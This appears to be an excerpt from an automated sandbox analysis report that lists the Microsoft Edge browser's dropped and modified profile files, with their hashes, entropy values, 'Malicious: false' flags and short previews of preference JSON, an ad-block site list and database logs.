Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46315
Entropy (8bit):	6.0872655607170625
Encrypted:	false
SSDEEP:	768:HMkbJrT8IeQcrQgxKUHni1zNtVPz9OtLcwFU2xJP218xCioPJDSgzMMd6qD47u3R:HMk1rT8HRK5ziP218xFoPtSmd6qE7Y
MD5:	9602C96A8EEB7831109EA1BA9B914DC4
SHA1:	08CED441E1AED292D59DC91810C5947428B96339
SHA-256:	A87A564C3DCAD4E89F8DF37EDB7DE5F983606D59424EC144D42E106CEBC7CDEE
SHA-512:	5D997D02144C1B74A5EEFB9B1A0B2CF2C8C863C761793EADAA6060226C70F47CFDC24DB740EFB4E9C0214322B123012D588B9FC33B9C7675F395B07DFEACC041
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375901261024332","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"8d11bb5d-8d60-464a-adf5-47607f3278b0"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\23f4be6a-d80a-4001-bc55-a135ea88af67.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46362
Entropy (8bit):	6.087035825595238
Encrypted:	false
SSDEEP:	768:HMkbJrT8IeQcrQgxKU4ni1zNtVPz9OtLcwFU2xJP218xCioPJDSgzMMd6qD47u3R:HMk1rT8HRKoziP218xFoPtSmd6qE7Y
MD5:	0B1E28D1DC2AFD5C31CEE67D3B5707A0
SHA1:	08C8F630C2F814E848641AB94F5BD4EC4E1097C5
SHA-256:	8F6C48C0029BBEC6DF886B4F2CE6938482D58161F76A9643AD7746353C4D3EC9
SHA-512:	AE0B652E3BE6E4289099FA9D78898DD96622D7C4B64AE7D29ED3B36BF694D940CA00E406C3797AD53982B7C6BC46078FBC5479B21C59D435E4C52C0B9FC84096
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375901261024332","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"8d11bb5d-8d60-464a-adf5-47607f3278b0"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\30f9de70-6eb1-441f-9017-5edf07fdb123.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44898
Entropy (8bit):	6.095604977735442
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWTci1zNtVPzNy7CEZDdw1KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynKzXKtSmd6qE7lFoC
MD5:	21AB75A3244EF760AF1878C031492BC5
SHA1:	DAB66BBE8468BC48748EF540DCC7AD3240B61315
SHA-256:	D324A9D6A138F7C3454249D16696768F59A64FDF620DF3FA17A67239B78FC02D
SHA-512:	55A116817FD99179EA72C55698903FC95F01068A6D4E769FF700FB9C26EB32DD686AEF2151508744DB09425EC05F2601C07EF39BA6807F973B262AC2F3A4392E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5cedbfd8-6a49-46f0-833e-b4f5ade43cab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44898
Entropy (8bit):	6.095604977735442
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWTci1zNtVPzNy7CEZDdw1KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynKzXKtSmd6qE7lFoC
MD5:	21AB75A3244EF760AF1878C031492BC5
SHA1:	DAB66BBE8468BC48748EF540DCC7AD3240B61315
SHA-256:	D324A9D6A138F7C3454249D16696768F59A64FDF620DF3FA17A67239B78FC02D
SHA-512:	55A116817FD99179EA72C55698903FC95F01068A6D4E769FF700FB9C26EB32DD686AEF2151508744DB09425EC05F2601C07EF39BA6807F973B262AC2F3A4392E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\1c353406-5bfe-4242-ab5a-53ff048cf7ce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67337D4B-1F40.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4893850223904992
Encrypted:	false
SSDEEP:	6144:p3uty4l1MRcUSQC1/q+AV0UQDtRaHltZkO:nRcxQKU3
MD5:	E8328F51C3D4F6EDB3DCE1F97A434FDA
SHA1:	AB266D9522A932B09B112B9EDFAF5159BB750EF2
SHA-256:	AFC81ED67604E84E6B21BC7864C005D0220029E40DC73B669C00A65F139A1E61
SHA-512:	C49858A6378FFD39A40A089C931DB0C0ACE85A5A506FA3F48E6A2B008ED2273344D4459D7074E6A4459A1F275CB8A2303A2B6DFC2A3BCCC8F0A8EEA01874D0AB
Malicious:	false
Preview:	...@..@...@.....C.].....@...............x..................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".phkxue20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4c91ac9c-b7d8-41cb-b199-825276e8fe15.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (16770), with no line terminators
Category:	dropped
Size (bytes):	16770
Entropy (8bit):	5.441668447018988
Encrypted:	false
SSDEEP:	192:stOJ99QTryDiuabatSuypEsZoaFvrE9kYYghr5KVHWPaUpHc3DD8abV+FmVQwXh0:stOPGQSu4EsZoCD4YxW34nbGoQwSD
MD5:	EE00BC37BF82F4426C1562F46F447C53
SHA1:	2653D808768C56972C097C97795E94B37414A2E1
SHA-256:	02287C7A2425A6BA8315B3AAF0EE00A06C40A7B904620427446B612348099251
SHA-512:	4828EAAB888D7D7783E9346B31CDE80D101628720CE796E4D3474847523C8771837C28FE42881377EBE5A33148E8A7E780892B9B7743042D491B57CC5C293084
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375901260923102","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\579d2881-eb91-4b90-a207-d69efabf8ad3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17363), with no line terminators
Category:	dropped
Size (bytes):	17363
Entropy (8bit):	5.486068386021604
Encrypted:	false
SSDEEP:	192:stOJ99QTryDiuabatSuypEsZoaFvrEyMztkYYghr5KVHWPaUpHc3DD8abV+FmVQV:stOPGQSu4EsZoCDL+bYxW34nbGoQw8D
MD5:	C32C3EB5A7849FCAC617DF6686F13894
SHA1:	5A48C2549C91C2F1485A99D67D6C53DD29D33A89
SHA-256:	6B182C418369F82676C950EC43118C00EF524E87043857B4EF816EA980E0F4D7
SHA-512:	137E95A73586F101B43412F63BF5F2E501609FFF57FE0B70132796341E14038D9D53D065F42E38520AB941F58E1B008881DFC5511CF41261B8641B12F1F9CD94
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375901260923102","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7147e3df-c0dc-4629-a293-c06e56bf352d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.560926605426164
Encrypted:	false
SSDEEP:	768:8wTcnIWww7pLGLp8eW5wa8f4dH8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP9G2VIw9b:8sOIL8cp8eWaa8fOHu1jasG2/i6XRKzs
MD5:	FD49535254E5E36908010D24C1155090
SHA1:	93118A544E007485005A5C3B3F2B52CB514771B8
SHA-256:	37404D525D915CF73975090BBD8C1340E9FBC85E7609FA0227997A6069A2CB5A
SHA-512:	FABBC898A1A8B02431D706DCBCA14E366283C3A8A514B848584AE04986F4A8A770A0D92744117A91E014EF8C6CA86DC5E8A728EF3EF5AEA1BA806901A9C76AAB
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375901260229533","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375901260229533","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8ced86e8-ca22-4f76-b374-3d5560351142.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554483898731073
Encrypted:	false
SSDEEP:	768:8wTcnIWww7pLGLp8eW5wa8f4aH8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPCVIw9gJf:8sOIL8cp8eWaa8fzHu1jaj/i6XRK79zj
MD5:	4C34C33E31A655150EE41DB8BCA2B049
SHA1:	EB19228BFE46B0F10C29E89B70BE050B44B83000
SHA-256:	8A49568910E6CDAF899850D5C575F47ACFA460ED25464189B7B32613D4CD8049
SHA-512:	2324811B2BDD41FAC0B51EB46E3751CDD2A83A29445938461482E3B986C66AA5F92841ACDDB8FF59CD0D0DAB8797AA0D2F5F8E1060E70360A8E426E53FD39340
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375901260229533","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375901260229533","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.230897779998307
Encrypted:	false
SSDEEP:	6:HU89vU41N723oH+Tcwtp3hBtB2KLlVU8++q2PN723oH+Tcwtp3hBWsIFUv:9MYaYebp3dFLHvVaYebp3eFUv
MD5:	D569951CAE71D848416D7F946EEB719D
SHA1:	E0D7AE8EAF5A1930CDAC864EE1B955B569E7A76C
SHA-256:	633A9267E21E2EC59EA92E8AB3A0C377101A3009CFCC5B20FE5AEFAB8970997F
SHA-512:	3EBFCE20A44257A26A90008CDF684435845E8DF8B2582A02C8EB992C2DC4E9EA1D781AA61535898C4292FF4DAD5F9475F42A6B5F6622E8C88C8B904ABDA986AE
Malicious:	false
Preview:	2024/11/12-11:07:44.900 1f98 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/12-11:07:44.932 1f98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

